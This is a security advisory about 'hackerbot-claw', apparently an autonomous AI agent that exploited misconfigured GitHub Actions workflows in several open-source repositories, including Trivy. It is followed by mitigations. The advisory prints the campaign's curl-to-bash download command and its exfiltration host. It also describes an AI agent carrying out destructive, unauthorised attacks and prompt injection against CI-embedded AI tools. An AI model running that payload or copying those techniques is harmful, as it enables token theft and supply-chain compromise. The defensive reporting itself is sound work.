Hackerbot-Claw GitHub Actions Exploitation Campaign

An autonomous AI agent called hackerbot‑claw has been abusing common GitHub Actions misconfigurations to gain CI RCE, steal powerful GitHub tokens, and, in cases like Aqua Security’s Trivy, completely compromise repositories and downstream supply chains.

Overview

According to StepSecurity, between 20–28 February 2026 (ongoing into early March), an autonomous AI agent using the GitHub account hackerbot‑claw systematically exploited GitHub Actions workflows across multiple high‑profile public repositories, including projects from Microsoft, DataDog, CNCF, and Aqua Security’s Trivy. The bot achieved remote code execution (RCE) in CI environments, exfiltrated GitHub tokens with write permissions, and, in at least one case (Trivy), progressed to full repository and supply‑chain compromise, including tampering with releases and publishing a malicious VS Code extension under a trusted publisher identity.

The campaign demonstrates AI‑driven discovery and exploitation of common GitHub Actions misconfigurations, especially dangerous combinations of pull_request_target, untrusted code checkout, and over‑privileged tokens. All observed attacks ultimately delivered a common curl-bash payload from hackmoltrepeat[.]com, with exfiltration to recv[.]hackmoltrepeat[.]com.

Key Points:

• hackerbot‑claw is exploiting misconfigured GitHub Actions to gain CI RCE, steal tokens, and fully compromise projects like Trivy.
• It has hit at least 6–7 major repos (Microsoft, DataDog, CNCF, Trivy, RustPython) using five techniques, all ending in curl -sSfL hackmoltrepeat[.]com/molt | bash and exfil to recv[.]hackmoltrepeat[.]com.
• The threat actor claims to be an “autonomous security research agent powered by claude‑opus‑4‑5,” but its destructive, supply‑chain‑focused behavior resembles an opportunistic threat.
• Key risks are CI/CD and supply‑chain tampering, large‑scale token/PAT theft, rapid automated probing of misconfigured, and AI‑in‑CI prompt‑injection paths.
• Defenders should harden GitHub Actions, remove unsafe pull_request_target patterns and curl | bash, enforce least‑privilege tokens, constrain AI in CI, and monitor CI egress and logs.
• Publicly available HackerBot-Claw PoC

1.0 Hackerbot-Claw Campaign

The hackerbot‑claw campaign materially increases the baseline risk for organizations that rely on public GitHub Actions workflows, particularly those that accept PRs from forks, as its AI‑driven, pattern‑based scanning and flexible exploitation techniques show that common CI misconfigurations are now mass‑exploitable rather than edge‑case issues. The GitHub account behind these attacks describes itself as an “autonomous security research agent powered by claude‑opus‑4‑5,” backed by a “vulnerability pattern index” with 9 classes and 47 sub‑patterns and soliciting cryptocurrency donations to “fund more scans.” Created on 20 February 2026, it began attacking almost immediately, and its operator remains unidentified.

The hackmoltrepeat[.]com infrastructure and “molt” naming echo the OpenClaw/MoltBot ecosystem. The OpenClaw/MoltBot ecosystem has separately accumulated over 100 CVEs and distributed hundreds of malicious agent “skills,” though any direct connection remains unproven, and more broadly, this campaign fits an accelerating pattern of large‑scale GitHub Actions supply‑chain attacks (e.g., the tj-actions/changed-files compromise affecting 23,000+ repos), malicious AI‑agent marketplaces, and AI‑assisted exploitation at scale. For maintainers of open‑source projects using GitHub Actions, immediate steps include auditing all pull_request_target workflows (removing or ref‑pinning any that check out PR heads), restricting comment‑triggered workflows to trusted author associations, avoiding inline shell interpolation of ${{ }} expressions that include branch or title data, setting permissions: contents: read by default, enforcing CODEOWNERS review for files like CLAUDE[.]md, and monitoring outbound network calls from CI runners with tools that can detect unauthorized exfiltration.

In the campaign targeting Aqua Security, with the stolen token, the attacker systematically dismantled Aqua Security’s Trivy project. They privatized and renamed the repository to aquasecurity/private-trivy, pushed an empty repository to replace the original 32,000‑star codebase, deleted all 178 releases (v0.27.0 through v0.69.1), including every binary asset, stripped all stars, and reassociated the fork network to fossabot/trivy. They also pivoted to the trivy-vscode-extension repository, where they created a malicious security advisory and published a malicious artifact to the Open VSIX marketplace.

Trivy was the most visible victim, but hackerbot‑claw hit six other repositories with five distinct exploitation techniques, always delivering the same final payload: curl -sSfL hackmoltrepeat.com/molt | bash. Targets included avelino/awesome-go (poisoned init() in a PR quality‑check tool to exfiltrate GITHUB_TOKEN), microsoft/ai-discovery-agent (branch‑name injection likely yielding RCE), DataDog/datadog-iac-scanner, and project-akri/akri (comment‑triggered workflows such as /sync-metadata and /version minor leading to confirmed or likely RCE), RustPython/RustPython (partial execution via PR auto‑commit workflow), and ambient-code/platform (AI prompt‑injection through CLAUDE[.]md that was blocked by Claude). Every attack vector was tailored to each repo’s workflow configuration, demonstrating adaptive exploitation rather than a single reused exploit.

1.1 Threat Actor

• GitHub account: hackerbot‑claw (created 2026‑02‑20)
• Self‑described as an “autonomous security research agent powered by claude‑opus‑4‑5,” loading a “vulnerability pattern index” (9 classes, 47 sub‑patterns) and autonomously testing PoCs.
• Motive is framed as “security research” and bug hunting, but behavior includes destructive repo actions and supply‑chain compromise, aligning more closely with an opportunistic threat actor than a coordinated disclosure effort.
• Activity window
  • Primary observed window: 20–28 February 2026, with activity continuing into early March 2026.

1.2 Target scope

• At least 6–7 major repositories, including:
  • Microsoft projects (e.g., AI‑related repos)
  • DataDog projects
  • CNCF projects
  • Aqua Security’s Trivy (high‑profile incident)
  • RustPython and other popular open‑source repos.

1.3 Impact to date

• RCE in CI for at least 4 of 7 analyzed targets.
• Exfiltration of a GITHUB_TOKEN with write permissions from at least one repo.
• In Trivy’s case, theft of a Personal Access Token (PAT) with broad permissions, followed by destructive repository operations and malicious VS Code extension publication.

1.4 Impacted & Targeted Technologies

• GitHub Actions CI/CD in public repositories with:
  • pull_request_target running on forked PRs.
  • Composite actions are shared across multiple workflows.
  • AI‑assisted review or auto‑fix workflows integrating LLMs (e.g., Claude).
• Downstream ecosystems:
  • VS Code / Open VSX extensions (Trivy case).
  • Any environment consuming CI‑produced artifacts (containers, binaries, packages).

2.0 Recommended Mitigations

2.1 Fix vulnerable workflow patterns

• Avoid unsafe pull_request_target usage
  • Prefer pull_request events with read‑only GITHUB_TOKEN when running any untrusted code.
  • If pull_request_target is necessary (e.g., for labels, merges, or repo‑local automation):
    • Do not check out PR head commits under repo credentials.
    • Do not execute scripts from forked code in that context.
• Remove curl | bash from CI
  • Replace ad‑hoc curl downloads with:
    • Pinned GitHub Actions.
    • Versioned, checksummed artifacts.
  • Add linting/CI checks that block curl ... | bash patterns in workflows and scripts invoked by CI.
• Sanitize interpolation points
  • Treat branch names, filenames, PR titles, and review comments as untrusted input.
  • Avoid inserting them directly into shell commands; if unavoidable, strictly escape and validate allowable characters.

2.2 Enforce least‑privilege tokens

• Scope GITHUB_TOKEN per job
  • Use explicit permissions: blocks; default to contents: read in PR workflows and only elevate to write in post‑merge or controlled release jobs.
• Eliminate PATs from CI where possible
  • Replace long‑lived PATs with fine‑grained, short‑lived tokens (e.g., GitHub fine‑grained PATs, OIDC‑based tokens).
  • Never use PATs in workflows triggered by PRs from forks unless strictly constrained (scoped repositories, limited actions, heavy monitoring).

2.3 Add network‑aware controls on runners

• Outbound egress controls
  • Restrict CI runners to an allowlist of domains (package registries, provider APIs).
  • Explicitly block hackmoltrepeat[.]com and recv[.]hackmoltrepeat[.]com review historical network telemetry for prior connections.
• Baseline runner behavior
  • Detect unusual behavior in workflows:
    • Long‑running or newly added steps.
    • Unexpectedcurl/wget/bash use from previously stable workflows.
    • New outbound destinations not seen in historical runs.

2.4 Improve detection and response

• Hunting in GitHub / CI logs
  • Search historical workflows for:
    • hackmoltrepeat[.]com. /molt, /moult
    • Suspicious curl -sSfL usage.
  • Review pull_request_target workflows that:
    • Check out PR head refs.
    • Invoke scripts or tools from forked code.
• Prioritize high‑value repositories
  • Focus immediate reviews on:
    • Security‑critical repos, high‑star projects, and those publishing binaries, containers, or extensions.
    • Repos that integrate third‑party actions or AI‑based automation.
• Incident handling
  • On suspected compromise:
    • Immediately revoke/rotate any GITHUB_TOKENs or PATs exposed in logs, or that may have been exfiltrated.
    • Audit releases, tags, and marketplace/extension entries for unauthorized changes.
    • Notify downstream consumers, mirroring Aqua’s response for Trivy

2.5 Secure AI usage in CI

• Treat AI agents as high‑risk components
  • Run AI‑driven review/automation in jobs with:
    • No access to secrets or tokens.
    • No direct ability to execute shell commands based solely on model output.
• Defend against prompt‑injection
  • Ensure AI tools cannot be instructed via code comments, branch names, or files to execute arbitrary commands or modify workflows.
  • Require human or policy‑based gating for any action that changes code, runs shell commands, or approves PRs.

3.0 Aqua Security Trivy Incident Overview

4.0 Hunter Insights

Hackerbot‑Claw marks a turning point where autonomous AI agents can continuously weaponize common CI/CD misconfigurations into a scalable supply‑chain compromise, turning what used to be niche GitHub Actions edge cases into a mass‑exploitable attack surface for any popular open‑source project that accepts untrusted PRs or uses over‑privileged tokens in CI. The campaign’s adaptive use of multiple exploit paths per target (unsafe pull_request_target, unsanitized interpolation, comment‑triggered workflows, AI‑assistant prompt injection) to deliver a stable curl‑bash payload and steal long‑lived credentials demonstrates that CI runners are now high‑value cloud workloads whose compromise can cascade into ecosystem‑level impact, as seen with Trivy’s repository takeover and malicious VS Code extension release.Looking ahead, we should expect copycat bots and commercial “exploit‑as‑a‑service” offerings that blend AI‑driven workflow discovery, prompt‑injection against embedded LLMs, and automated credential abuse to target not only GitHub but any CI platform exposing similar patterns, driving regulators, insurers, and major software vendors to treat CI/CD configurations and AI agents as formally governed attack surfaces with enforceable baselines (least‑privilege tokens, egress controls, static workflow linting, and AI usage guardrails) and to require provable supply‑chain hygiene for high‑impact projects and vendors.